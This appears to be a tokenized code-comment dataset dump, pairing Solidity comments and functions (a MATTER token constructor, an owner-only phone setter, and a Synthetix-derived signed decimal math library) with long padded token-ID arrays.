-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0xDFBb6ab3DDCf603351992151716Dd4775260DC8f/sources/PolarizedProtocolToken.sol
mint 100,000,000 tokens with 18 decimals and send them to token deployer mint function is internal and can not be called after deployment
constructor () public ERC20Detailed("Antimatter.Finance", "MATTER", 18) { _mint(msg.sender,100000000e18 ); }
11,181,021
[ 1, 4625, 348, 7953, 560, 30, 225, 312, 474, 2130, 16, 3784, 16, 3784, 2430, 598, 6549, 15105, 471, 1366, 2182, 358, 1147, 7286, 264, 312, 474, 445, 353, 2713, 471, 848, 486, 506, 2566, 1839, 6314, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 1832, 1071, 4232, 39, 3462, 40, 6372, 2932, 176, 125, 99, 176, 126, 241, 176, 126, 247, 176, 126, 236, 176, 126, 240, 176, 126, 228, 176, 126, 247, 176, 126, 247, 176, 126, 232, 176, 126, 245, 176, 125, 241, 176, 125, 104, 176, 126, 236, 176, 126, 241, 176, 126, 228, 176, 126, 241, 176, 126, 230, 176, 126, 232, 3113, 315, 176, 125, 260, 176, 125, 99, 176, 125, 117, 176, 125, 117, 176, 125, 103, 176, 125, 115, 3113, 6549, 13, 288, 203, 1377, 389, 81, 474, 12, 3576, 18, 15330, 16, 21, 12648, 73, 2643, 11272, 7010, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xCb910ecDEe9986FD888f7e608cAD3be8c186a2DB/sources/browser/PropetyControl.sol
изменение контактного телефона (только владелец)
function setContactTelephon(string memory _ContactTelephon) public{ require(Owner == msg.sender); ContactTelephon = _ContactTelephon; }
1,954,984
[ 1, 4625, 348, 7953, 560, 30, 225, 145, 121, 145, 120, 145, 125, 145, 118, 145, 126, 145, 118, 145, 126, 145, 121, 145, 118, 225, 145, 123, 145, 127, 145, 126, 146, 229, 145, 113, 145, 123, 146, 229, 145, 126, 145, 127, 145, 116, 145, 127, 225, 146, 229, 145, 118, 145, 124, 145, 118, 146, 231, 145, 127, 145, 126, 145, 113, 261, 146, 229, 145, 127, 145, 124, 146, 239, 145, 123, 145, 127, 225, 145, 115, 145, 124, 145, 113, 145, 117, 145, 118, 145, 124, 145, 118, 146, 233, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 6567, 56, 6516, 844, 265, 12, 1080, 3778, 389, 6567, 56, 6516, 844, 265, 13, 1071, 95, 203, 3639, 2583, 12, 5541, 422, 1234, 18, 15330, 1769, 203, 3639, 13329, 56, 6516, 844, 265, 273, 389, 6567, 56, 6516, 844, 265, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT //MIT License // //Copyright (c) 2019 Synthetix // //Permission is hereby granted, free of charge, to any person obtaining a copy //of this software and associated documentation files (the "Software"), to deal //in the Software without restriction, including without limitation the rights //to use, copy, modify, merge, publish, distribute, sublicense, and/or sell //copies of the Software, and to permit persons to whom the Software is //furnished to do so, subject to the following conditions: // //The above copyright notice and this permission notice shall be included in all //copies or substantial portions of the Software. // //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR //IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, //FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE //AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER //LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, //OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE //SOFTWARE. pragma solidity ^0.7.6; // Libraries import "@openzeppelin/contracts/math/SignedSafeMath.sol"; // https://docs.synthetix.io/contracts/source/libraries/safedecimalmath library SignedSafeDecimalMath { using SignedSafeMath for int; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ int public constant UNIT = int(10**uint(decimals)); /* The number representing 1.0 for higher fidelity numbers. */ int public constant PRECISE_UNIT = int(10**uint(highPrecisionDecimals)); int private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = int(10**uint(highPrecisionDecimals - decimals)); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (int) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (int) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(int x, int y) internal pure returns (int) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( int x, int y, int precisionUnit ) private pure returns (int) { /* Divide by UNIT to remove the extra factor introduced by the product. */ int quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(int x, int y) internal pure returns (int) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(int x, int y) internal pure returns (int) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(int x, int y) internal pure returns (int) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( int x, int y, int precisionUnit ) private pure returns (int) { int resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(int x, int y) internal pure returns (int) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(int x, int y) internal pure returns (int) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(int i) internal pure returns (int) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(int i) internal pure returns (int) { int quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } }
* @return The result of safely dividing x and y. The return value is a high precision decimal. @dev y is divided after the product of x and the standard precision unit is evaluated, so the product of x and UNIT must be less than 2256. As this is an integer division, the result is always rounded down. This helps save on gas. Rounding is more expensive on gas./
function divideDecimal(int x, int y) internal pure returns (int) { return x.mul(UNIT).div(y);
7,231,688
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 2463, 1021, 563, 434, 15303, 3739, 10415, 619, 471, 677, 18, 1021, 327, 460, 353, 279, 3551, 6039, 6970, 18, 632, 5206, 677, 353, 26057, 1839, 326, 3017, 434, 619, 471, 326, 4529, 6039, 2836, 353, 12697, 16, 1427, 326, 3017, 434, 619, 471, 28721, 1297, 506, 5242, 2353, 576, 5034, 18, 2970, 333, 353, 392, 3571, 16536, 16, 326, 563, 353, 3712, 16729, 2588, 18, 1220, 21814, 1923, 603, 16189, 18, 11370, 310, 353, 1898, 19326, 603, 16189, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 12326, 5749, 12, 474, 619, 16, 509, 677, 13, 2713, 16618, 1135, 261, 474, 13, 288, 203, 565, 327, 619, 18, 16411, 12, 15736, 2934, 2892, 12, 93, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 